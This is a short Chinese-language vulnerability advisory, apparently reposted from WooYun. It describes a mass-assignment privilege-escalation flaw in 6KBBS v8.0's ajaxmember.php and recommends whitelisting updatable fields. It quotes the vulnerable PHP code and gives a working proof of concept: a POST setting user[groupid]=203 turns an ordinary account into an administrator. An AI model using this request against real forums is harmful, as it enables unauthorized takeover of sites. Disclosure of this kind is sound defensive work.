6KBBS v8.0 普通用户提权漏洞
来源:本站转载
时间:2012-02-04 15:26:33
简要描述:普通用户提权漏洞,可以提升为管理员权限。
详细说明:<漏洞分析>
ajaxmember.php
case "modifyDetails":
$user = $_POST['user'];
if(getPopedom(5) == 0)
{
$user['usertitle'] = '';
}
if($user["email"] == "")
{
exit("资料不完整。");
}
foreach(explode(",", $cache_settings['reservedkeyword']) as $rkey)
{
if(!empty($rkey) && stristr($user['usertitle'], $rkey))
{
exit("自定义头衔含有禁用关键字");
}
}
$db->row_update("users", $user, "id={$lg['userid']}");
succeedFlag();
break;
user 数组未做任何限制导致用户POST一个user[groupid]=203的字段,row_update就会更新users表的groupid字段,把普通用户的权限更改为管理员。
漏洞证明:<漏洞利用>
1、 注册并登陆一个用户。
2、 向/ajaxmember.php?action=modifyDetails页面post数据
user%5Bgroupid%5D=203&user%5Bemail%5D=aaaa%40aaaa.com
3、重新登录用户,即为管理员权限。
修复方案:在更新之前加上验证语句,只保留允许更新的字段。
作者 insight-labs@乌云












